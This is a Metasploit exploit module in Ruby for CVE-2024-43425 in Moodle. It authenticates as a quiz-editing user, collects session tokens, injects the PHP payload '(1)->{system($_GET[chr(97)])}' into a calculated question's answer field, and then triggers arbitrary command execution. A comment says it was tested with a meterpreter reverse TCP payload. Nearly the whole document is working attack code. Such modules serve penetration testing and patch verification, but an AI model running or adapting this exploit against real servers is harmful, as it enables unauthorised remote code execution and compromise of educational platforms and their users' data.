class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'Moodle Remote Code Execution (CVE-2024-43425)', 'Description' => %q{ This module exploits a command injection vulnerability in Moodle (CVE-2024-43425) to obtain remote code execution. Affected versions include 4.4 to 4.4.1, 4.3 to 4.3.5, 4.2 to 4.2.8, 4.1 to 4.1.11, and earlier unsupported versions. }, 'License' => MSF_LICENSE, 'Author' => [ 'Michael Heinzl', # MSF Module 'RedTeam Pentesting GmbH', # Discovery and PoC ], 'References' => [ [ 'URL', 'https://blog.redteam-pentesting.de/2024/moodle-rce/'], [ 'URL', 'https://www.redteam-pentesting.de/en/advisories/rt-sa-2024-009/'], [ 'URL', 'https://moodle.org/mod/forum/discuss.php?d=461193'], [ 'CVE', '2024-43425'] ], 'DisclosureDate' => '2024-08-27', 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_CMD ], 'Targets' => [ [ 'Linux Command', { 'Arch' => [ ARCH_CMD ], 'Platform' => [ 'linux' ], # tested with cmd/linux/http/x64/meterpreter/reverse_tcp 'Type' => :unix_cmd } ] ], 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [EVENT_DEPENDENT], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options( [ Opt::RPORT(80), OptString.new('USERNAME', [true, 'Username to authenticate to the system. Needs to be allowed to add questions to a quiz.']), OptString.new('PASSWORD', [true, 'Password for the user']), OptInt.new('COURSEID', [true, 'The course ID. Can be retrieved from the URL when the course is selected (e.g., /moodle/course/view.php?id=3)']), OptInt.new('CMID', [true, 'The course module ID. Can be retrieved from the URL when the "Add question" button is pressed within a quiz of a course (e.g., /moodle/mod/quiz/edit.php?cmid=4)']), OptString.new('TARGETURI', [ true, 'The URI for the Moodle web interface', '/']) ] ) end def exploit execute_command(payload.encoded) end def execute_command(cmd) print_status('Obtaining MoodleSession and logintoken...') res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'moodle/login/index.php?loginredirect=1') ) fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.code == 200 print_good('Server reachable.') moodlesession = res.get_cookies.scan(/MoodleSession=([^;]+)/).flatten[0] fail_with(Failure::UnexpectedReply, 'MoodleSession not found.') unless moodlesession vprint_status("MoodleSession: #{moodlesession}") html = res.get_html_document logintoken = html.to_s.match(/name="logintoken" value="([^"]+)"/)[1] fail_with(Failure::UnexpectedReply, 'logintoken not found.') unless logintoken vprint_status("logintoken: #{logintoken}") print_status("Authenticating as #{datastore['USERNAME']}...") res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'moodle/login/index.php'), 'headers' => { 'Cookie' => "MoodleSession=#{moodlesession}", 'keep_cookies' => true }, 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => { 'anchor' => nil, 'logintoken' => logintoken, 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] } ) fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res moodlesession = res.get_cookies.scan(/MoodleSession=([^;]+)/).flatten[0] fail_with(Failure::UnexpectedReply, 'MoodleSession not found.') unless moodlesession vprint_status("MoodleSession: #{moodlesession}") moodleid1 = res.get_cookies.scan(/MOODLEID1_=([^;]+)/).flatten[1] fail_with(Failure::UnexpectedReply, 'MOODLEID1_ not found.') unless moodleid1 vprint_status("MOODLEID1_: #{moodleid1}") html = res.get_html_document fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.code == 303 && html.to_s.include?('index.php?testsession=') print_status('Successfully authenticated.') testsession = html.to_s.match(/index\.php\?testsession=(\d+)/)[1] vprint_status("testsession: #{testsession}") res = send_request_cgi( 'method' => 'GET', 'headers' => { 'Cookie' => "MoodleSession=#{moodlesession}; MOODLEID1_=#{moodleid1}" }, 'uri' => normalize_uri(target_uri.path, "moodle/login/index.php?testsession=#{testsession}") ) fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.code == 303 && (html.to_s.include?('/my') || html.to_s.include?('/moodle/')) print_status('Obtaining sesskey, courseContextId, and category...') vprint_status('Obtaining sesskey...') res = send_request_cgi( 'method' => 'GET', 'headers' => { 'Cookie' => "MoodleSession=#{moodlesession}; MOODLEID1_=#{moodleid1}" }, 'uri' => normalize_uri(target_uri.path, "moodle/mod/quiz/edit.php?cmid=#{datastore['CMID']}") ) fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.code == 200 html = res.get_html_document sesskey = html.to_s.match(/"sesskey":"([^"]+)"/)[1] fail_with(Failure::UnexpectedReply, 'sesskey not found.') unless sesskey vprint_status("sesskey: #{sesskey}") course_context_id = html.to_s.match(/"courseContextId":(\d+)/)[1] fail_with(Failure::UnexpectedReply, 'courseContextId not found.') unless course_context_id vprint_status("courseContextId: #{course_context_id}") category = html.to_s.match(/;category=(\d+)/)[1] fail_with(Failure::UnexpectedReply, 'category not found.') unless category vprint_status("category: #{category}") print_status('Injecting command...') res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'moodle/question/bank/editquestion/question.php'), 'headers' => { 'Cookie' => "MoodleSession=#{moodlesession}; MOODLEID1_=#{moodleid1}" }, 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => { 'initialcategory' => '1', 'reload' => '1', 'shuffleanswers' => '1', 'answernumbering' => 'abc', 'mform_isexpanded_id_answerhdr' => '1', 'noanswers' => '1', 'nounits' => '1', 'numhints' => '2', 'synchronize' => nil, 'wizard' => 'datasetdefinitions', 'id' => nil, 'inpopup' => '0', 'cmid' => datastore['CMID'].to_s, 'courseid' => datastore['COURSEID'].to_s, 'returnurl' => "/mod/quiz/edit.php?cmid=#{datastore['CMID']}&addonpage=0", 'mdlscrollto' => '0', 'appendqnumstring' => 'addquestion', 'qtype' => 'calculated', 'makecopy' => '0', 'sesskey' => sesskey.to_s, '_qf__qtype_calculated_edit_form' => '1', 'mform_isexpanded_id_generalheader' => '1', 'mform_isexpanded_id_unithandling' => '0', 'mform_isexpanded_id_unithdr' => '0', 'mform_isexpanded_id_multitriesheader' => '0', 'mform_isexpanded_id_tagsheader' => '0', 'category' => "#{category},#{course_context_id}", 'name' => Rex::Text.rand_text_alpha(6..10), 'questiontext[text]' => '

{b}

', 'questiontext[format]' => '1', 'questiontext[itemid]' => rand(424810000..424819999), # '424815274', 'status' => 'ready', 'defaultmark' => '1', 'generalfeedback[text]' => nil, 'generalfeedback[format]' => '1', 'generalfeedback[itemid]' => rand(940090000..940099999), # '940093981', 'idnumber' => nil, 'answer[0]' => '(1)->{system($_GET[chr(97)])}', 'fraction[0]' => '1.0', 'tolerance[0]' => '0.01', 'tolerancetype[0]' => '1', 'correctanswerlength[0]' => '2', 'correctanswerformat[0]' => '1', 'feedback[0][text]' => nil, 'feedback[0][format]' => '1', 'feedback[0][itemid]' => rand(738790000..738799999), # '738798744', 'unitrole' => '3', 'penalty' => rand(0.1333333..0.7333333), # '0.3333333', 'hint[0][text]' => nil, 'hint[0][format]' => '1', 'hint[0][itemid]' => rand(562440000..562449999), # '562446571', 'hint[1][text]' => nil, 'hint[1][format]' => '1', 'hint[1][itemid]' => rand(161670000..161679999), # '161675382', 'tags' => '_qf__force_multiselect_submission', 'submitbutton' => 'Save+changes' } ) fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res html = res.get_html_document fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.code == 303 && html.to_s.include?('question/bank/editquestion/question.php?qtype=calculated') location_header = res.headers['Location'] id = location_header && location_header.match(/&id=(\d+)/) id = id[1] if id fail_with(Failure::UnexpectedReply, 'ID not found.') unless id vprint_status("id value: #{id}") res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'moodle/question/bank/editquestion/question.php?wizardnow=datasetdefinitions'), 'headers' => { 'Cookie' => "MoodleSession=#{moodlesession}; MOODLEID1_=#{moodleid1}" }, 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => { 'id' => id.to_s, 'inpopup' => '0', 'cmid' => datastore['CMID'].to_s, 'courseid' => datastore['COURSEID'].to_s, 'returnurl' => "/mod/quiz/edit.php?cmid=#{datastore['CMID']}&addonpage=0", 'mdlscrollto' => '0', 'appendqnumstring' => 'addquestion', 'category' => "#{category},#{course_context_id}", 'wizard' => 'datasetitems', 'sesskey' => sesskey.to_s, '_qf__question_dataset_dependent_definitions_form' => '1', 'dataset[0]' => '0', 'dataset[1]' => '1-0-x', 'synchronize' => '0', 'submitbutton' => 'Next+page' } ) fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res html = res.get_html_document fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.code == 303 && html.to_s.include?('question/bank/editquestion/') cmd2 = URI.encode_www_form_component(cmd) res = send_request_cgi( 'method' => 'GET', 'headers' => { 'Cookie' => "MoodleSession=#{moodlesession}; MOODLEID1_=#{moodleid1}" }, 'uri' => normalize_uri(target_uri.path, "/moodle/question/bank/editquestion/question.php?id=#{id}&category=#{category}&cmid=#{datastore['CMID']}&courseid=#{datastore['COURSEID']}&wizardnow=datasetitems&returnurl=%2Fmod%2Fquiz%2Fedit.php%3Fcmid%3D#{datastore['CMID']}%26addonpage%3D0&appendqnumstring=addquestion&mdlscrollto=0&a=#{cmd2}") ) fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res end end